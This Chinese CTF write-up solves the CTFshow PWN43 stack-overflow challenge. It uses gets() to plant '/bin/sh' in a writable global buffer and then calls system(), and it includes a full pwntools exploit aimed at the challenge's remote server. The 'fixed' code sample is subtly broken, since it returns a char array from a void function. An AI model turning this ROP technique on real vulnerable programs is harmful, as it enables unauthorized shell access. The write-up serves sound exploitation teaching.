CTFshow PWN43通关实录:当system函数没有/bin/sh,我是如何手动‘造’一个的
CTFshow PWN43通关实录当system函数没有/bin/sh我是如何手动‘造’一个的在CTF的PWN挑战中栈溢出是最基础也最经典的漏洞类型之一。但当你掌握了基本的ROP链构造技巧后往往会遇到一些看似简单却暗藏玄机的题目——比如这次遇到的PWN43它给了你system函数却没有提供现成的/bin/sh字符串。这种情况在实际漏洞利用中非常常见因为现实世界中的二进制程序很少会贴心地为你准备好所有需要的参数。今天我就来详细拆解这道题目的解题思路分享如何在没有现成/bin/sh的情况下手动构造这个关键参数。1. 问题分析缺失的/bin/sh首先我们需要清楚地认识到问题的本质。通过IDA反编译目标程序我们可以快速定位到以下几个关键信息程序中存在一个明显的栈溢出漏洞通过gets函数读取输入到长度为104的字符数组中system函数的地址是0x8048450程序中没有任何现成的/bin/sh或sh字符串关键问题即使我们能控制程序执行流跳转到system函数但没有合适的参数system函数也无法为我们生成一个shell。这就好比有了打火机却没有燃料空有一身本事却无处施展。通过gdb调试我们可以确认这一点gdb ./pwn break main run info functions system searchmem /bin/sh确实找不到任何包含/bin/sh的内存区域。那么我们需要另辟蹊径。2. 寻找解决方案可写内存与函数利用2.1 定位可写内存区域既然程序中没有现成的/bin/sh我们就需要自己写入这个字符串。但写入到哪里呢不是所有内存区域都可以随意写入我们需要找到一个可写的内存段。使用gdb的vmmap命令查看内存映射vmmap输出中我们关注具有rw权限可读可写的内存段。例如0x804b000 0x804c000 rw-p /home/ctfshow/Desktop/pwn/栈溢出/pwn43/pwn这段内存从0x804b000到0x804c000大小为0x10004096字节具有读写权限。进一步检查这个区域我们可以找到一个全局变量buf2其地址为0x804B060。2.2 利用已有函数写入数据现在我们有了一块可写内存接下来需要找到写入数据的方法。幸运的是程序中已经提供了gets函数地址0x8048420这正是我们需要的。gets函数的特点从标准输入读取字符串不检查输入长度容易造成缓冲区溢出需要一个参数存储输入数据的缓冲区地址我们可以利用gets函数将/bin/sh写入到我们找到的可写内存地址中。3. 构造ROP链从写入到执行有了上述信息我们就可以构造完整的利用链了。思路如下首先覆盖返回地址跳转到gets函数将buf2的地址作为gets函数的参数这样gets会将输入写入到buf2gets函数执行完毕后返回到system函数将buf2的地址现在包含/bin/sh作为system函数的参数对应的payload结构[填充数据][gets地址][system地址][gets返回地址][gets参数][system参数]但在实际构造时我们可以简化一些。因为gets函数执行完毕后会返回到栈上的下一个地址所以我们可以这样安排[填充数据][gets地址][system地址][buf2地址][buf2地址]这样第一个buf2地址是gets函数的参数写入位置gets执行完毕后返回到system地址第二个buf2地址是system函数的参数命令字符串4. 完整利用代码基于pwntools的完整exploit代码如下from pwn import * context(archi386, oslinux) context.log_level debug # 计算偏移量 offset 0x6C 4 # 104字节缓冲区 4字节ebp # 关键地址 system_addr 0x8048450 buf2_addr 0x804B060 gets_addr 0x8048420 # 构造payload payload flat( bA * offset, gets_addr, system_addr, buf2_addr, buf2_addr ) # 发送payload p remote(pwn.challenge.ctf.show, 28227) p.sendline(payload) p.sendline(b/bin/sh\x00) # 写入/bin/sh到buf2 p.interactive()5. 关键点解析与注意事项5.1 偏移量计算偏移量的计算是栈溢出利用的基础。在这个例子中缓冲区s的大小是104字节0x6C需要覆盖的ebp是4字节所以总共需要108字节的填充数据才能到达返回地址可以通过cyclic模式验证gdb ./pwn run $(cyclic 200)当程序崩溃时查看eip的值然后用cyclic -l计算偏移量。5.2 参数排列顺序在32位程序中函数调用时参数是通过栈传递的且参数是从右向左压栈。但在构造ROP链时我们需要考虑以下几点调用gets函数时它需要一个参数写入地址gets函数执行完毕后会返回到栈上的下一个地址system函数需要一个参数命令字符串因此payload的结构是[填充][gets_addr][system_addr][gets_param][system_param]5.3 字符串终止符在发送/bin/sh字符串时最好显式添加null终止符\x00因为gets函数会读取输入直到遇到换行符或EOF但不保证字符串会被正确终止。5.4 替代方案探讨除了使用gets函数我们还可以考虑其他写入字符串的方法使用read函数如果可用通过ROP链逐字节写入使用格式化字符串漏洞如果存在但gets函数在这种情况下是最简单直接的选择。6. 防御措施与漏洞修复虽然本文重点是利用漏洞但了解如何防御这类攻击同样重要。针对这个例子可以采取以下防护措施使用安全的输入函数如fgets代替gets启用栈保护机制如Canary将关键内存区域设置为不可执行NX地址空间布局随机化ASLR修复后的代码示例void ctfshow() { char s[104]; fgets(s, sizeof(s), stdin); // 安全的输入函数 return s; }7. 扩展思考64位程序下的差异虽然本题是32位程序但了解64位环境下的差异也很重要参数传递方式64位程序前六个参数通过寄存器传递需要找到合适的gadget来设置rdi寄存器内存地址更长可能需要处理地址中的null字节64位环境下的ROP链构造会更加复杂但基本思路是一致的找到可写内存写入所需数据然后调用目标函数。在实际解题过程中遇到没有现成/bin/sh的情况时不要慌张。通过系统地分析程序提供的资源函数、可写内存等总能找到解决方案。这道题目教会我们的是灵活运用已有资源的能力——当直接路径被阻断时寻找间接路径同样可以达到目标。